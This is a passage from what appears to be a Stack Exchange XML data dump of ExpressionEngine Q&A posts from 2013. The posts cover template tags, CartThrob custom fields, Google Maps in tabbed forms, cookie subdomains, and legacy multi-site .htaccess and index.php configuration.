rel=&quot;nofollow&quot;&gt;Web Developer Chrome&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="787" LastActivityDate="2013-02-13T21:13:15.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6322" PostTypeId="2" ParentId="6308" CreationDate="2013-02-13T23:33:51.993" Score="2" Body="&lt;p&gt;Sounds like the form doesn't know which entry to associate the comment with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try setting either the &lt;code&gt;entry_id=&quot;&quot;&lt;/code&gt; or &lt;code&gt;url_title=&quot;&quot;&lt;/code&gt; parameters on the &lt;code&gt;{exp:comment:form}&lt;/code&gt; tag.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-13T23:33:51.993" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6323" PostTypeId="1" AcceptedAnswerId="6354" CreationDate="2013-02-13T23:44:57.783" Score="1" ViewCount="307" Body="&lt;p&gt;I've got a playa field that pulls data from a few entries. I'd like to sort all the results alphabetically. However right now it returns each entry and then alphabetizes each. So I get something like:&#xA;Apple&#xA;Banana&#xA;Cabbage&#xA;Alfalfa&#xA;Broccoli &#xA;etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;somechannel&quot; site=&quot;default_site&quot;}&#xA;{exp:playa:children field=&quot;playafield&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; site=&quot;default_site&quot;}&#xA;    &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;  {/exp:playa:children}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="580" LastActivityDate="2013-02-14T17:01:10.927" Title="Playa sorting across entries" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6324" PostTypeId="1" AcceptedAnswerId="6367" CreationDate="2013-02-13T23:51:25.253" Score="2" ViewCount="605" Body="&lt;p&gt;Probably simple but I have a custom field that I would like to add to the Orders channel and then use that value in the customer notification email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This field will not be populated by the customer, it's a custom date field that the admin has set for a course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the add to cart form I have: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;date_booked_for&quot; value=&quot;{course_date}&quot; /&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where the date_booked_for is the new field in the Orders Channel and course_date is the custom field that needs to be passed to checkout and then the email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stuck on the hidden field part in the checkout form and email notification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA&lt;/p&gt;&#xA;" OwnerUserId="1012" LastActivityDate="2013-02-15T15:39:53.630" Title="Add a custom field value in a hidden input to the order in CartThrob and then email notification" Tags="|cartthrob|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6326" PostTypeId="2" ParentId="5068" CreationDate="2013-02-14T01:23:47.847" Score="1" Body="&lt;p&gt;I've had the same thing happen. And my solution was just as you described - restarting the upgrade after seeing the progress stall out. It did seem very strange to have to resort to such methods. However, I haven't seen any problems with the sites upgraded that way. I've seen it happen on multiple hosting platforms too. &#xA;I use DevDemon's Updater now and don't run into it anymore. &lt;/p&gt;&#xA;" OwnerUserId="580" LastActivityDate="2013-02-14T01:23:47.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6327" PostTypeId="1" AcceptedAnswerId="6437" CreationDate="2013-02-14T01:24:52.733" Score="2" ViewCount="234" Body="&lt;p&gt;I am using the SIM Payment Gateway with Cartthrob but the response/receipt URL is not displaying after submitting the payment on authorize.net. Interestingly, I got it to work previously after adjusting the name of my system directory in the extload.php file. But now I get the following error message:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;An error occurred while trying to report this transaction to the merchant. An e-mail has been sent to the merchant informing them of the error. The following is the result of the attempt to charge your credit card.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;This transaction has been approved.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It is advisable for you to contact the merchant to verify that you will receive the product or service.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I recently updated to CT version 2.2.2 and now 2.2.91 so that could potentially be related. I did make sure to keep the correct system path in extload.php though.&lt;/p&gt;&#xA;&lt;p&gt;Any ideas where I might have gone wrong?&lt;/p&gt;&#xA;" OwnerDisplayName="user1011" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-02-15T22:28:40.353" Title="SIM Payment Gateway Response/Receipt URL not displaying" Tags="|cartthrob|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6328" PostTypeId="2" ParentId="6324" CreationDate="2013-02-14T02:14:18.907" Score="0" Body="&lt;p&gt;In your form use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;date_booked_for&quot; value=&quot;custom_data[course_date]&quot; /&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your email use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{custom_data:course_date}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-14T02:14:18.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6329" PostTypeId="2" ParentId="6271" CreationDate="2013-02-14T02:18:26.437" Score="3" Body="&lt;p&gt;After tinkering around, I found out that the way to do it is to set these values inside the method&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;api_channel_entries-&amp;gt;data['my_field_id'] = 'my_field_value';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-02-14T02:18:26.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6330" PostTypeId="2" ParentId="6295" CreationDate="2013-02-14T02:22:34.100" Score="3" Body="&lt;p&gt;Take a look at this: &lt;a href=&quot;http://kevinthompson.info/blog/2011/03/04/completely-remove-index-php-from-expressionengine-urls.html&quot; rel=&quot;nofollow&quot;&gt;http://kevinthompson.info/blog/2011/03/04/completely-remove-index-php-from-expressionengine-urls.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just recently discovered that solution and it's working great on our ecommerce website running with CartThrob and certain pages with https.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2013-02-14T02:22:34.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6331" PostTypeId="2" ParentId="71" CreationDate="2013-02-14T03:53:27.400" Score="0" Body="&lt;p&gt;I've had good results with Freeform Anti-Spam. It places honeypot fields and can filter results for those that do get through. I've been able to remove the hated captcha field from some client forms using this. &lt;a href=&quot;http://devot-ee.com/add-ons/freeform-anti-spam&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/freeform-anti-spam&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="580" LastActivityDate="2013-02-14T03:53:27.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6332" PostTypeId="2" ParentId="5549" CreationDate="2013-02-14T03:57:36.067" Score="3" Body="&lt;p&gt;I had trouble like this with ed_image when I first starting using 2.x. I found &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image&quot; rel=&quot;nofollow&quot;&gt;CE Image&lt;/a&gt; to be far better and easier to work with. It's fairly easy to convert to CE Image too. &lt;/p&gt;&#xA;" OwnerUserId="580" LastEditorUserId="55" LastEditDate="2013-02-15T13:35:28.387" LastActivityDate="2013-02-15T13:35:28.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6333" PostTypeId="1" AcceptedAnswerId="10546" CreationDate="2013-02-14T04:45:09.043" Score="0" ViewCount="855" Body="&lt;p&gt;I've got a tabbed SafeCracker form and one of the fields is a Google Maps for ExpressionEngine field. I've noticed an issue where the map only loads properly if it's on the first/selected tab when the page loads. If it's on another tab, then when you click that particular tab, the map doesn't display correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe it's an issue to do with the map needing to be redrawn as the tab it's within is clicked, and it sounds like a similar issue this &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1152/hiding-showing-google-maps-for-expressionengine&quot;&gt;other question&lt;/a&gt;. But I can't figure out how to implement or adapt that other solution to fix my problem, though it might be because I'm using a SafeCracker field and different template code so the other solution might not apply completely to my situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm posting this as a new question, and any advice on this would be appreciated. My stripped-down template code is below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel=&quot;event&quot; include_jquery=&quot;no&quot; datepicker=&quot;no&quot; return=&quot;/events&quot;}&#xA;&#xA;  &amp;lt;div class=&quot;tabbed-form&quot;&amp;gt;&#xA;&#xA;    &amp;lt;ul class=&quot;tabs&quot;&amp;gt;&#xA;      &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab1&quot; class=&quot;selected&quot;&amp;gt;Tab 1&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab2&quot; class=&quot;tab-with-map&quot; data-id=&quot;gmap_output_cf_event_map_location&quot;&amp;gt;Tab 2&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#tab3&quot;&amp;gt;Tab 3&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;tab1&quot; style=&quot;display: block;&quot;&amp;gt;&#xA;      &amp;lt;h2&amp;gt;Tab 1&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--tab1--&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;tab2&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;      &amp;lt;h2&amp;gt;Tab 2&amp;lt;/h2&amp;gt;&#xA;      {field:cf_event_map_location}&#xA;      &amp;lt;input name=&quot;cf_event_map_latitude&quot; type=&quot;hidden&quot; value=&quot;{cf_event_map_latitude}&quot; /&amp;gt;&#xA;      &amp;lt;input name=&quot;cf_event_map_longitude&quot; type=&quot;hidden&quot; value=&quot;{cf_event_map_longitude}&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--tab2--&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;tab3&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;      &amp;lt;h2&amp;gt;Tab 3&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--tab3--&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Save&quot; /&amp;gt;&#xA;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!--tabbed-form--&amp;gt;&#xA;&#xA;  &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $('.tabbed-form .tabs').kosTabs();&#xA;  &amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&#xA;$(document).ready(function() {&#xA;&#xA;    // Trigger represents any selector you want to trigger the map to be redrawn&#xA;&#xA;    $('.tab-with-map').click(function() {&#xA;&#xA;        var $t     = $(this);&#xA;        var id     = $t.data('id');&#xA;        var map    = window[id+'_map']; &#xA;        var center = window[id+'_options'].center;&#xA;        var bounds = window[id+'_bounds'];&#xA;        var delay  = 500;&#xA;&#xA;        /* Allows the animation to start before the map is redrawn, &#xA;           the 500(ms) can be adjusted for optimal performance. &#xA;           If no animation is present, use 0 or remove the delay &#xA;           entirely. */&#xA;&#xA;        setTimeout(function() {&#xA;            google.maps.event.trigger(map, 'resize');&#xA;&#xA;            for(var x = 0;x &amp;lt; markers.length;x++) {&#xA;                bounds.extend(markers[x].getPosition());&#xA;            }&#xA;&#xA;            // This will center the map on the calculated bounds&#xA;            map.fitBounds(bounds);&#xA;            map.setZoom(options.zoom);&#xA;&#xA;            /* Do not use setCenter and fitBounds, use only the one that works best for you */&#xA;&#xA;        }, delay);&#xA;&#xA;        return true;&#xA;    });&#xA;&#xA;});&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit: I've updated my code to show how I've tried (unsuccessfully) to use Justin's code from the other answer linked to above.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-05-20T16:45:21.320" Title="Google Maps for EE field not displaying correctly in a jQuery tabbed form" Tags="|jquery|google-maps-for-ee|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6334" PostTypeId="1" CreationDate="2013-02-14T04:45:24.060" Score="2" ViewCount="448" Body="&lt;p&gt;Ok, I've got my primary site running EE1 at www.example.com. I've set up a subdomain of static.example.com, from which I want to serve static assets; specifically, files that don't need cookies being attached to the requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My EE -&gt; Admin -&gt; SysPrefs -&gt; Cookie Settings are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Cookie Domain: .www.example.com&#xA;Cookie Path:        (ie. blank)&#xA;Cookie Prefix:        (also blank)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once those settings are verified, I logout of the backend and use Firebug + FireCookie to remove all cookies for the current domain. Loading up, say, &lt;code&gt;static.example.com/css/main.css&lt;/code&gt; shows that indeed, there are no cookies being transmitted with the static file request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I then load up the frontend of the EE site at &lt;code&gt;www.example.com&lt;/code&gt;, I see a number of cookies being stored: a JW Player cookie and a few Facebook and Google Analytics cookies - all of which are expected, along with 3 EE cookies: &lt;code&gt;exp_tracker&lt;/code&gt;, &lt;code&gt;exp_last_visit&lt;/code&gt;, and &lt;code&gt;exp_last_activity&lt;/code&gt;. All of those EE cookies have domains of &lt;code&gt;.www.example.com&lt;/code&gt; - but somehow  ALL of them are &lt;em&gt;also&lt;/em&gt; being transmitted when I request the aforementioned &lt;code&gt;static.example.com/css/main.css&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm no cookie expert, but I would have expected that by specifying the &lt;code&gt;.www&lt;/code&gt; subdomain for the cookies in EE, they would have been restricted to requests that include that subdomain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="544" LastActivityDate="2013-03-21T20:49:52.307" Title="Cookies appear to ignore subdomain restrictions? (EE1)" Tags="|cookies|subdomain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6335" PostTypeId="1" CreationDate="2013-02-14T06:44:12.677" Score="2" ViewCount="700" Body="&lt;p&gt;Let me lead with a quote from the present EE license. &quot;An ExpressionEngine license purchase allows a single “live” installation in a production environment and ancillary “development use only” installations as needed to support the live installation (such as development and a staging servers). Additional installations require additional license purchases.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, even if you buy the Multi Site Manager add-on, the license requirement is that &quot;License holder must be the owner of all Sites&quot; -- and there is a long-enforced blanket legal disapproval of subletting an EE license or creating any kind of blogging service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, we are talking only about how to arrange multiple subdomains or sites when you don't need all the features of the Multiple Site Manager, but follow rules as if you licensed it. This is the pre-existing, or 'legacy' multiple site mode which is still in use, and was guaranteed by Ellis to continue to be present. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some later code was discussed and repaired so that it did indeed remain available, and this mode is particularly convenient when all you need is some subdomains for development and testing, or for simple multi-presentation from a singly-owned site, as in some number of older EE1 sites which are&#xA;still in use, and need to be maintained or simply upgraded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm going to answer my own question here, as I spent the time to resurrect a development site using this mode today for someone. I consider it another instance of bringing out into this public resource the community knowledge we all contributed in over prior years.&lt;/p&gt;&#xA;" OwnerUserId="103" LastEditorUserId="103" LastEditDate="2013-02-14T07:20:43.263" LastActivityDate="2013-02-14T22:17:16.587" Title="What's the configuration for multiple subsites the legacy way in ExpressionEngine?" Tags="|subdomain|config|multiple-sites|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6336" PostTypeId="2" ParentId="6335" CreationDate="2013-02-14T07:06:40.797" Score="2" Body="&lt;p&gt;These instructions lay out in brief the considerations for setting up a subdomain site in the form available at EngineHosting, where all domain accesses go to the main domain public_html. On other hosts which use DNS to assign subdomains, you won't need the additions to the main domain .htaccess.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The EE install, where you have CP themes, etc., is at the root&#xA;directory for web service: public_html. It is important that it stay&#xA;there, because of a change Ellis made in EE that broke updating capability from&#xA;subdirectories. However, you can freely move the system folder where&#xA;you like, adjusting your &lt;code&gt;index.php&lt;/code&gt; path. I have it above&#xA;public_html, in the usual fashion.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Here’s the htaccess scripting that I use to enable a subdomain on a&#xA;subdirectory of public_html. YMMV, but this is straightforward, and&#xA;again not needed if your host directly assigns subdomain directories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In root .htaccess, above your scripting for the EE install there, and &#xA;below RewriteEngine On, goes the following. It accomplishes redirecting subdomain&#xA;web requests so that they appear to be direct on the subdirectory:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;# add the www if toplevel.com only; tell the browser always to use it &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} ^(yoursite.*) [NC] &#xA;RewriteRule ^http://www\.%{HTTP_HOST}%{REQUEST_URI} [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;# pick off any subdomains to be handled in their own directory &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} ^subdomain.yoursite.com [NC]  &#xA;RewriteCond %{REQUEST_FILENAME} !subdomain/ # allows image requests etc. to pass through &#xA;RewriteRule ^(.*)$ ae/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the subdomain’s subdirectory, you just put your standard .htaccess&#xA;as if it were a top-level domain. In EE itself, be sure to check through the main&#xA;level site’s CP path settings, just to make sure the installer was&#xA;sensible. I find Deeploy Helper to be very helpful to assure such matters, &#xA;besides its primary purpose.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can initialize the subdirectory EE by copying over your main&#xA;level’s index.php, adminasyounameit.php, and anything like&#xA;favico or images directories that you want to use on the subdomain. &#xA;As an EE site, the subdomain is independent of the domain-level site.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Here are the additions or changes I made to the results of such a copy:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In adminasyounameit.php, set your system path relative to the subdirectory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$system_path = '../../de/system'; // for system in de folder above public_html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you can run admin normally from the subdomain website. There are probably tricks to get it to line up on the correct template group; haven’t bothered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In index.php, also: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$system_path = '../../de/system'; // for system in de folder above public_html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what fundamentally enables your site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you want to set so correct template group is used for the subdomain. Must set initial template  too, as created bugs here were resolved.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['template'] = 'index';&#xA;$assign_to_config['template_group'] = 'subtemplategroup';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You likely want a separate 404 page for the subdomain; otherwise will get main domain’s&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['site_404'] = 'subtemplategroup/notfound';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following form is handy if you do as I do, use global variables inside to site-specifically target generic templates to localize for many purposes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['global_vars'] &#xA;  = array(&quot;my_channel&quot; =&amp;gt; &quot;subdomainchan&quot;, &quot;my_template_group&quot; =&amp;gt; &quot;subtemplategroup&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set the site name so it shows correctly wherever defaulted&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['site_name'] = 'SubDomain Sitename’;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let EE internals know where this subdomain is in the web url sense. This is crucial in having it emit items correctly which have paths auto-added, such as may be case for css, images, etc..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['site_url'] = 'http://subdomain.yoursite.com/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The CP theme will be handled automatically from what you config’d in the base EE install control panel, as the CP will be called just as if it were from the main site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are now just above ‘END OF USER CONFIGURABLE SETTINGS’ in index.php, and things should run on the subsite, once saving from here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this is quite readable if not perfectly formatted, after a bit of a fight with the StackExchange editor about indents vs. code blocks.&lt;/p&gt;&#xA;" OwnerUserId="103" LastEditorUserId="103" LastEditDate="2013-02-14T22:17:16.587" LastActivityDate="2013-02-14T22:17:16.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6337" PostTypeId="2" ParentId="3704" CreationDate="2013-02-14T08:12:07.050" Score="0" Body="&lt;p&gt;Thoughts about this question have kept burbling up, and while the first answer may be on a good and practical track, I'd like to point to another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What bothers me particularly seems to be the idea that EE is doing any writing to its cache when simply emitting pages. It really shouldn't, and probably doesn't, until cache intervals wear out. Presumably you've set those relatively long. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, EE is known to be writing to other tables per site access when under ordinary configuration; in particular to be recording page counts, access IPs and the like. Depending on how transactions may be used, and given the vagaries of ISAM etc. packages, lockups can occur that may occlude multiple access at indeterminate times as you observe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus it may be worth trying some of the overrides Ellis discusses on this page, which turn off hit by hit tracking, unless for some reason you need that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/optimization/handling_extreme_traffic.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/optimization/handling_extreme_traffic.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are simple config items, and may clear your problem without having to put a page cache out in front -- though that may be quite useful in its own right if it fits the pattern of your site use, as it takes so much load off the server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;CE Cache can provide more flexibly than simple caches also, if you need to have some part of pages dynamically available, but this would require you have one of the MemCache etc. flavors available on the server, which costs, and that you made some level of effort to arrange a detailed implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hoping then that the simplest way of these configs can clear the issues for you.&lt;/p&gt;&#xA;" OwnerUserId="103" LastActivityDate="2013-02-14T08:12:07.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6338" PostTypeId="2" ParentId="6324" CreationDate="2013-02-14T09:01:32.863" Score="0" Body="&lt;p&gt;Thank you Anna but it's not working, I tried that myself before I posted. It just renders in the outputted HTML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;date_booked_for&quot; value=&quot;custom_data[course_date]&quot; /&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can see in the source for the page where the add to form is that the date is placed in the hidden field value. The flow is to then visit the cart and then checkout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But: &lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;date_booked_for&quot; value=&quot;custom_data[course_date]&quot; /&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;is not populating that hidden fields value in the checkout form?&lt;/p&gt;&#xA;" OwnerUserId="1012" LastActivityDate="2013-02-14T09:01:32.863" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6340" PostTypeId="2" ParentId="6295" CreationDate="2013-02-14T09:47:21.457" Score="2" Body="&lt;p&gt;Try changing the &lt;code&gt;$config['uri_protocol']&lt;/code&gt; setting in &lt;code&gt;config.php&lt;/code&gt;, as I suggested in &lt;a href=&quot;https://expressionengine.stackexchange.com/a/5470/150&quot;&gt;this thread&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['uri_protocol'] = 'PATH_INFO';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In that thread there are also a few other suggestions to try for the rewrite line:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;RewriteRule ^(.*)$ index.php/$1 [L]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;RewriteRule ^(.*)$ /index.php?/$1 [L]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;RewriteRule ^(.*)$ index.php?/$1 [L]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;RewriteRule . index.php [L]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some combination of those two settings usually fixes things.&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-02-14T09:47:21.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6341" PostTypeId="2" ParentId="21" CreationDate="2013-02-14T10:28:23.933" Score="2" Body="&lt;p&gt;Sorry to throw a cat amongst the pigeons but stash is very much a purist approach. Sure there are advantages of it but it takes a multi designed and structured site to a whole new level of complexity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For me and now... Low Variables will do for the performance hit of embeds.&lt;/p&gt;&#xA;" OwnerUserId="272" LastActivityDate="2013-02-14T10:28:23.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6342" PostTypeId="2" ParentId="71" CreationDate="2013-02-14T10:35:06.393" Score="1" Body="&lt;p&gt;On Monday i installed a Snaptcha as Honeepot which had been installed for years was letting some spam through ( maybe 5/7 a week). To date no spam. It may cost $15 but if these levels stay more than worth it!&lt;/p&gt;&#xA;" OwnerUserId="272" LastActivityDate="2013-02-14T10:35:06.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6343" PostTypeId="1" AcceptedAnswerId="6346" CreationDate="2013-02-14T10:40:05.927" Score="0" ViewCount="124" Body="&lt;p&gt;When trying to publish to a channel with the the Low Freeform fields I’m getting the following error. ( example: &lt;a href=&quot;http://gotolow.com/addons/low-freeform-field/docs#example&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-freeform-field/docs#example&lt;/a&gt; )&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A Database Error Occurred Error Number: 1054&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Unknown column 'name' in 'field list'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;SELECT name, label FROM exp_freeform_fields ORDER BY field_order ASC&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: third_party/low_freeform_field/ft.low_freeform_field.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 66&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;On the solspace support forum I found this:&#xA;&lt;a href=&quot;http://www.solspace.com/forums/viewthread/13184/#54340&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/forums/viewthread/13184/#54340&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm looking for a quick fix, instead of having to create all my forms from scratch.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2013-02-14T12:31:21.230" Title="Low Freeform Database Error" 